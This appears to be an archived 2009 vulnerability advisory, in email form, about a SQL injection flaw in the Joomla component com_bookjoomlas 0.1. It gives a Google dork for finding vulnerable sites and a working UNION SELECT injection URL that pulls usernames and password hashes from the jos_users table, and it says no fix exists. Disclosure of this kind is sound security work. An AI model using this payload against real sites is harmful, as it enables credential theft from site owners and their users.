TUCoPS :: Web :: CMS / Portals :: va3069.htm

Joomla Component com_bookjoomlas SQL Injection Vulnerability
Joomla Component com_bookjoomlas SQL Injection Vulnerability
Joomla Component com_bookjoomlas SQL Injection Vulnerability



--001636c5a87e5a4cc40466df51c0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

*******   Salvatore "drosophila" Fresta   *******

[+] Application: Joomla Component com_bookjoomlas
[+] Version: 0.1
[+] Website: http://www.alikonweb.it 

[+] Bugs: [A] SQL Injection

[+] Exploitation: Remote
[+] Dork: inurl:"index.php?option=com_bookjoomlas"
[+] Date: 06 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com 


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] SQL Injection

[-] Security risk: low
[-] File affected: sub_commententry.php

This bug allows a privileged user to view username
and password of a registered user. Like all SELECT
vulnerable queries, this can be manipulate to write
files on system.


*************************************************

[+] Code


- [A] SQL Injection

http://www.site.com/path/index.php?option=com_bookjoomlas&Itemid=26&func=comment&gbid=-1 
UNION ALL SELECT
1,2,NULL,4,NULL,6,7,NULL,9,CONCAT(username,0x3a,password),11,12,13,14,15,16
FROM jos_users


*************************************************

[+] Fix

No fix.


*************************************************

--
Salvatore "drosophila" Fresta
CWNP444351

--001636c5a87e5a4cc40466df51c0
Content-Type: text/plain; charset=US-ASCII; 
	name="Joomla Component com_bookjoomlas 0.1 SQL Injection Vulnerability-06042009.txt"
Content-Disposition: attachment; 
	filename="Joomla Component com_bookjoomlas 0.1 SQL Injection Vulnerability-06042009.txt"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_ft6y328a0

KioqKioqKiAgIFNhbHZhdG9yZSAiZHJvc29waGlsYSIgRnJlc3RhICAgKioqKioqKgoKWytdIEFw
cGxpY2F0aW9uOiBKb29tbGEgQ29tcG9uZW50IGNvbV9ib29ram9vbWxhcwp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29tL3BhdGgvaW5kZXgucGhwP29wdGlvbj1jb21fYm9va2pvb21s
YXMmSXRlbWlkPTI2JmZ1bmM9Y29tbWVudCZnYmlkPS0xIFVOSU9OIEFMTCBTRUxFQ1QgMSwyLE5V
TEwsNCxOVUxMLDYsNyxOVUxMLDksQ09OQ0FUKHVzZXJuYW1lLDB4M2EscGFzc3dvcmQpLDExLDEy
LDEzLDE0LDE1LDE2IEZST00gam9zX3VzZXJzCgoKKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKgoKWytdIEZpeAoKTm8gZml4LgoKCioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio--001636c5a87e5a4cc40466df51c0--

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH